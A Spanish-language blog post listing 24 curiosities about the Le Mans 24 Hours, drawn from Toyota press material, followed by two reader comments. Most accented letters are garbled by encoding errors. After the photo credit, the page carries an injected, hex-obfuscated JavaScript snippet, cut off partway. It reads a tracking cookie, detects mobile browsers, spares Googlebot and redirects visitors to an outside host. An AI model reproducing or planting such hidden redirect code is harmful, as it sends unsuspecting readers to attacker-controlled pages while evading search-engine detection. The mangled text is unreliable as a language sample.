Le Mans 2017: 24 curiosidades de las 24 horas

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Le Mans 24 Hours
8th-14th June 2015. Circuit de la Sarthe, Le Mans, France.
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Las 24 Horas de Le Mans fueron creadas como una alternativa a las carreras para autos de Grand Prix, donde para conseguir la victoria no sA?lo habAi??a que ser rA?pido, sino tener un auto que no sufriera inconvenientes mecA?nicos y pilotos de una gran resistencia fAi??sica. La ediciA?n 2017 se correrA? este fin de semana, con la presencia del argentino JosAi?? MarAi??a Pechito LA?pez en el tercer prototipo hAi??brido de Toyota.

La marca japonesa propone, para matizar la espera, 24 curiosidades sobre las mAi??ticas 24 Horas de Le Mans:

1. A?Por quAi?? 24 horas? La idea inicial de una prueba de resistencia fue de Georges Durand, fundador del club que la organizarAi??a. En 1922 solicitA? a Charles Faroux y Emile Coquile que diseAi??aran la prueba y propusieron una carrera de 8 horas, con 4 de noche. Jean-Marie LeliA?vre, miembro del club, fue quien dijo “A?PorquAi?? no 24?”.

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2. 18 aAi??os en Le Mans. La primera vez que Toyota alineA? un auto para las 24 Horas de Le Mans fue en 1985 (85C-L). Desde entonces ha participado en 18 ediciones con 44 ejemplares en distintas categorAi??as y ha quedado en la segunda posiciA?n absoluta nada menos que en cinco ocasiones.Ai??

3. La primera ediciA?n de las 24 de Le Mans. Fue en 1923. En una Ai??poca en la que los autos de “Grand Prix” ya eran populares, las 24 Horas de Le Mans se crearon como una alternativa en la que la victoria no sA?lo dependiera de la velocidad, sino tambiAi??n de la confiabilidad de las mA?quinas y la resistencia de los pilotos.

4. El primer Toyota que participA? Le Mans. El 85C-L tenAi??a un motor de cuatro cilindros turboalimentado de 2,1 litros. Se alinearon dos autos ese aAi??o, de los equipos TOM Motorsport y Dome Motorsport. El primero, con Nakajima/Sekiya/Hoshino, terminA? en la posiciA?n 12A?. El segundo fue el bA?lido mA?s rA?pido de esa ediciA?n: hizo mejor tiempo en los entrenamientos y marcA? la mayor velocidad punta (301 km/h).

5. Velocidades de otra Ai??poca. La velocidad media de la vuelta mA?s rA?pida en la primera ediciA?n de Le Mans fue 107,3 km/h. Fue la del equipo de John F. Duff y Frank Clement, que finalmente serAi??an cuartos con un Bentley 3 litros. En la segunda ediciA?n de las 24 Horas se llevaron la victoria, aunque con menos vueltas que en la primera, ganada por el Chenard & Walcker de los franceses Lagache y LeA?nard.

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6. Toyota se pasa al V8. DespuAi??s de cuatro ediciones con el motor de cuatro cilindros en lAi??nea, Toyota participA? por primera vez de la temporada completa del Campeonato del Mundo de Resistencia con un nuevo prototipo en 1989. En Le Mans alineA? tres 89C-V, de motor V8 biturbo y 3,2 l. Pese a los prometedores resultados en el campeonato, en Le Mans no hubo suerte.

7. La Triple Corona. Ganar las 24 Horas de Le Mans, el GP de MA?naco y las 500 Millas de IndianA?polis. SA?lo Graham Hill lo ha conseguido. Anthony J. Foyt ha sido el A?nico que ha ganado dos carreras el mismo aAi??o (24 Horas y 500 Millas de 1967). En activo, sA?lo Juan Pablo Montoya ha ganado dos de esas tres pruebas.

8. El doble de distancia. La distancia que recorriA? el ganador en la ediciA?n de 2016 es mA?s del doble de la de 1923. En esa primera ediciA?n, AndrAi?? Lagache y RenAi?? LAi??onard recorrieron 2.209 km en las 24 horas. En 2016, el Toyota TS050 Hybrid de Sarrazin/Conway/Kobayashi recorriA? A?5.193 kilA?metros!

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9. La recta “Ligne Droite des HunaudiA?res” de 6 km. Hasta 1990, parte del trazado lo formaba una casi recta que inicialmente era parte de la carretera nacional N138 entre Mulsanne y Arnage, con una curva amplia llamada IndianA?polis. En 1990 se instalaron dos chicanes para limitar la velocidad mA?xima en ese punto.

10. Toyota vuela en HunaudiA?res. En la ediciA?n de 1989, cuando todavAi??a no se habAi??an colocado las chicanas para reducir la velocidad al final de HunaudiA?res, el Toyota 89C-V del equipo Lees/Dumfries/Watson alcanzA? una velocidad punta de 367 km/h. Actualmente no se alcanza una velocidad tan alta.

11. Eddie Hall corriA? solo. En las 24 Horas de 1950, Hall tenAi??a un piloto de reserva, Tom Clarke, pero su intenciA?n era correr sin Ai??l. Dio 236 vueltas, mA?s de 3.200 km, se clasificA? octavo y ha sido el A?nico piloto que ha conducido durante toda la prueba. Eso sAi??, Clarke tambiAi??n aparece en la clasificaciA?n…

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12. Primer podio de Toyota. La primera vez que Toyota subiA? al podio en Le Mans fue en 1992. HabAi??a dos modelos distintos para cinco equipos: tres unidades del 92C-V y dos del nuevo TS010. Este A?ltimo, en manos de la formaciA?n de pilotos Sekiya/Raphanel/Acheson, terminA? en segundo lugar con 346 vueltas (4.706 km).

13. Doblete en LMP1. En 1994 entrA? en vigor la nueva reglamentaciA?n para prototipos LMP1, limitados por peso, depA?sito y entrada de aire con relaciA?n a los GT. Los Toyota 94C-V finalizaron en segunda y cuarta posiciA?n absoluta, y ganaron en la nueva categorAi??a LMP1 (Irvine/Martini/Krosnoff), donde ademA?s hicieron doblete.

14. El piloto con mA?s victorias en las 24 Horas. Tom Kristensen, con 9. La primera fue en 1997, el primer aAi??o que participaba y en el que entrA? en el equipo TWR Porsche a A?ltima hora para reemplazar al piloto lesionado Davy Jones. El piloto danAi??s ha corrido con cuatro marcas y ganado con tres.

 

15. El Toyota GT-One. Para la categorAi??a GT1 Toyota desarrollA? en 1988 el GT-One. El reglamento establecAi??a inicialmente que para que el auto pudiera competir deberAi??a tener una versiA?n de calle con un precio de un millA?n de dA?lares. Aunque esa norma al final desapareciA?, Toyota llegA? a fabricar dos unidades de esa versiA?n de homologaciA?n, una de ellas empleada en una prueba de choque.

16. El circuito ha cambiado en trece ocasiones. Desde 1923 hasta ahora ha habido 13 modificaciones del trazado y, por lo tanto, hay trece rAi??cords de distancia y velocidad. El circuito mA?s largo es el que se usA? entre 1923 y 1928, con 17,262 km. Desde 2007 hasta ahora, la distancia es de 13,629 km.

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17. Toyota vuelve ganar su categorAi??a en 1999. El GT-One, con el nombre interno TS020, participA? dentro de la nueva categorAi??a LMGTP. Obtuvo la victoria de clase y la segunda posiciA?n absoluta, a solo una vuelta del primero, con el equipo de pilotos Katayama/Suzuki/Tsuchiya.

18. Jacky Ickx cambiA? la salida. Tradicionalmente, los pilotos corrAi??an hacia su auto en la salida de la carrera, algo peligroso porque no les daba tiempo a ajustarse el arnAi??s. Como protesta, en la ediciA?n de 1969 Jacky Ickx fue andando en vez de correr. GanA? la carrera y, el aAi??o siguiente, ya se dio la salida con los pilotos dentro del auto.

19. Toyota innova con el primer hAi??brido en Le Mans. Toyota regresA? a Le Mans en 2012, y lo hizo a lo grande, con el TS030 HYBRID dentro de la categorAi??a LMP1. Este automA?vil se convirtiA? en el primer hAi??brido de gasolina que participaba en el Campeonato del Mundo de Resistencia.

20. Dan Gurney creA? la tradiciA?n del champA?n. GanA? la ediciA?n de 1967, junto con A. J. Foyt. Cuando le dieron el champA?n regA? con Ai??l a Jo Siffert (ganador de clase), fotA?grafos, pilotos y jefes de equipo presentes. Siffert imitA? a Gurney y crearon una tradiciA?n que dura hasta hoy. Actualmente, Gurney conserva esa botella.

TOYOTA GAZOO  Racing.  Le Mans 24 Hours Test, 2nd to 4th June 2017. Circuit de la Sarthe, Le Mans, France.

21. Potencia hAi??brida. El sistema hAi??brido del TS030 HYBRID podAi??a generar temporalmente una potencia de hasta 300 CV, gracias a la energAi??a cinAi??tica que se recupera en las frenadas. Gracias a ello, es capaz de bajar el tiempo por vuelta en dos segundos con relaciA?n a las simulaciones que se hicieron sin el sistema hAi??brido THS-R.

22. Jean Rondeau ganA? en casa. Es el A?nico piloto que ha ganado con un auto que lleva su nombre. TambiAi??n es el A?nico ganador de Le Mans que ha nacido en esa localidad. Su victoria fue en 1980, al mando del Rondeau M379B y formando equipo con Jean-Pierre Jaussaud.

23. Ai??xito despuAi??s de Le Mans. Los dos TS030 HYBRID abandonaron en Le Mans 2012. Pero despuAi??s de ello, Wurz y Lapierre quedaron segundos en Silverstone y ganaron las 6 Horas de Sao Paulo, de Fuji y de Shanghai. Fueron el mejor equipo en la segunda mitad de la temporada. AsAi?? son las carrerasai??i??

Le Mans 24 Hours. 16th- 23rd June 2013.  Le Mans, France.

24. En el podio y campeones. Toyota consiguiA? un segundo puesto en 2013 con el TS030 HYBRID (Davidson/Sarrazin/Buemi) y un tercero en 2014 con el TS030 HYBRID (Davidson/Buemi/Lapierre). La victoria en Le Mans se resistAi??a, pero Toyota demostrA? la competitividad de su tecnologAi??a hAi??brida al conquistar el Campeonato del Mundo de Resistencia en 2014.

Fotos: Prensa Toyotavar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera 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2 Comentarios, RSS

  1. morgan. 14/06/2017 @ 12:14 pm

    mas sal que los Toyotas el año pasado es dificil de imaginar…………..

    • @ autazos 14/06/2017 @ 11:28 pm

      Muy loco quedarse sin combustible en épocas de híbridos…. Encima pecaron de inocentes entrando en la ultima vuelta y quedando fuera del podio x no conocer el reglamento.

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